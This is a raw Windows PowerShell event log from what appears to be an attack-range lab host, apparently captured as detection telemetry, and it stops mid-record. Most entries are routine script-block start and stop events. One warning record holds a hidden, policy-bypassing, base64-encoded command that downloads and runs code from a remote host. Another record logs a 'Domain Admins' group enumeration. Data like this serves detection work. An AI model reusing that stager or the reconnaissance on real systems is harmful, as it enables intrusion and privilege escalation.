EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051172
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051216
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051215
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051214
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051213
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051211
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051210
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051209
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051208
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051207
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051206
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051205
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051203
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051202
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051201
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051200
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4100
EventType=3
Type=Warning
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when an exception is raised
RecordNumber=2051199
Keywords=None
Message=Error Message = A parameter cannot be found that matches parameter name 'GroupName'.
Fully Qualified Error ID = NamedParameterNotFound,Microsoft.PowerShell.Commands.InvokeExpressionCommand


Context:
        Severity = Warning
        Host Name = ConsoleHost
        Host Version = 5.1.14393.4402
        Host ID = 5bf2fc48-81e2-439b-a9b9-31d6e67ada67
        Host Application = powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQATQBTAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMQAwAC4AMAAuADEALgAxADYALwBiAGgALwBzAHkAbgBjAC8AYQBvAGwALwBfAHIAcAAnACkAKQApADsASQBFAFgAIAAkAE0AUwA=
        Engine Version = 5.1.14393.4402
        Runspace ID = c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
        Pipeline ID = 1
        Command Name = Invoke-Expression
        Command Type = Cmdlet
        Script Name = 
        Command Path = 
        Sequence Number = 20
        User = ATTACKRANGE\reed_schmidt
        Connected User = 
        Shell ID = Microsoft.PowerShell


User Data:
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 078fa3e6-c178-4f5c-bc92-918e9f61a483
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051197
Keywords=None
Message=Started invocation of ScriptBlock ID: 078fa3e6-c178-4f5c-bc92-918e9f61a483
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051196
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Get-DomainGroupMember -GroupName "Domain Admins"

ScriptBlock ID: 078fa3e6-c178-4f5c-bc92-918e9f61a483
Path:
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051194
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051192
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051191
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051190
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051188
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051186
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051184
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051182
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051226
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051224
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051222
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051220
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051218
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051296
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051295
